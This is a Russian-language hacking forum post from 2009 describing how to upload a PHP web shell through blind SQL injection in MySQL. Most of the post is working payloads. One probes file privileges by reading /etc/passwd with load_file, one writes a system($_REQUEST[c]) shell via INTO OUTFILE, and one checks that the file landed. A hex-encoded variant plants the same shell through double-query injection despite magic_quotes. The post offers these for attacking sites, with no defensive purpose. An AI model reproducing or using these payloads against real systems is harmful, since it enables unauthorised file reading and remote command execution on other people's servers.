Показать сообщение отдельно

  #96  
Старый 01.06.2009, 19:53
Iceangel_
Постоянный
Регистрация: 09.07.2006
Сообщений: 553
С нами: 10441826

Репутация: 1861


По умолчанию

[небольшая заметка о залитии файлов в слепых инъекциях]

Посмотрев в интернете информацию по данному вопросу и ничего не найдя, решил поделиться с вами, дорогие друзья, своими мыслями...
Начнем с проверки прав, дабы убедиться, что у нас есть file_priv:
Код:
id=1+and+1=if(load_file('/etc/passwd')+is+not+NULL,1,2)--+
Если все ровно и нет никаких ошибок, следующим запросом льем шелл:
Код:
1+and+if((select+"<?php system($_REQUEST[c]); ?>"+into+outfile+'/tmp/test.txt'),1,2)=1--
Можно также проверить залился ли файл, как мы проверяли наличие file_priv:
Код:
id=1+and+1=(if(load_file('/tmp/test.txt')+is+not+NULL,1,2)--+
Плюс вышеописанной конструкции заключается в том, что где бы инъект не был, в операторе SELECT, UPDATE, INSERT и т.д., при присутствии file_priv и отсутствии magic_quotes, шелл будет литься.

[BONUS]
Продолжим мысль и придумаем еще одно применение данной конструкции....
Надеюсь все читали про способ заливки шелла через инъекции, даже с присутствием magic_quotes, посредством двойного запроса...
Так вот, чтобы залить шелл необходимо было ордер баем вычислять кол-во колонок, участвующих во втором(вложенном) запросе.
Использую же вышеописанную технику, можно сократить время подбора колонок(имхо, довольно существенно, потому что когда подбираешь кол-во, приходится каждый раз хексить внутренний запрос)

Хексим:
Код:
0x2D3120616E64206966282873656C65637420223C3F7068702073797374656D28245F524551554553545B635D293B203F3E2220696E746F206F757466696C6520272F746D702F746573742E74787427292C312C32293D312D2D20
(1 and if((select "<?php system($_REQUEST[c]); ?>" into outfile '/tmp/test.txt'),1,2)=1-- )
И подставляем сие чудо на место поля, учавствующего в двойном запросе...

Последний раз редактировалось Iceangel_; 26.08.2009 в 15:30..